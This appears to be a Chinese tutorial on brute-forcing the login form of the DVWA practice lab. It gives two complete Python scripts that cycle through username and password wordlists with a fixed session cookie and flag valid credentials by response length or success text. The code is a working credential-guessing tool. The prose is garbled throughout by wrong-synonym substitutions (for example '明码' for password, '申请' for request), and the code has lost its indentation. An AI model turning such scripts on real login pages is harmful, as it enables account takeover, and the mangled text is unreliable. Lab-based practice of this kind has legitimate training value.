共计 2475 个字符,预计需要花费 7 分钟才能阅读完成。
测试靶机为 DVWA,适宜 DVWA 暴力破解模块的 Low 和 Medium 等级
要害代码解释
url 指定 url 地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header 设置申请头
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}
payload 设置申请参数
payload = {'username':username,'password':password,"Login":'Login'}
这一行的作用是作一次 get 申请,响应信息被变量 Response 接管
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和明码字典文件,之后给他们做笛卡尔积循环暴力破解
这种形式和 burp 的 Intruder 模块的 Cluster bomb 攻击方式一样
for admin in open("C:\\Users\\admin\\Documents\\ 字典 \\ 账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\ 字典 \\ 明码.txt"):
而后把循环后果寄存到 csv 文件里,用逗号宰割数据
Response.status_code
是响应的 http 状态码,len(Response.content)
是 http 响应报文的长度
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
残缺代码
办法一
登陆胜利的和失败返回数据不同,所以数据包长度也不同。包长度与其余不同的数据,可能就是正确的账号密码。
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,不便 burp 抓包查看
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '明码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\ 字典 \\ 账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\ 字典 \\ 明码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
print('\n 实现')
运行后果
运行
这就是脚本发送的数据包
查看后果
查看包长度与其余不同的数据,登录测试
办法二
这个办法是依据登陆胜利的返回特色来判断是否为正确的账号密码,而后把正确的账号密码输入到屏幕和 txt 文件里
次要改变在第 17 到 20 行
import requests
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"} #代理设置,不便 burp 抓包查看
header = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium; PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}
f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\ 字典 \\ 账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\ 字典 \\ 明码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\n')
print('\n 实现')
运行后果
正文完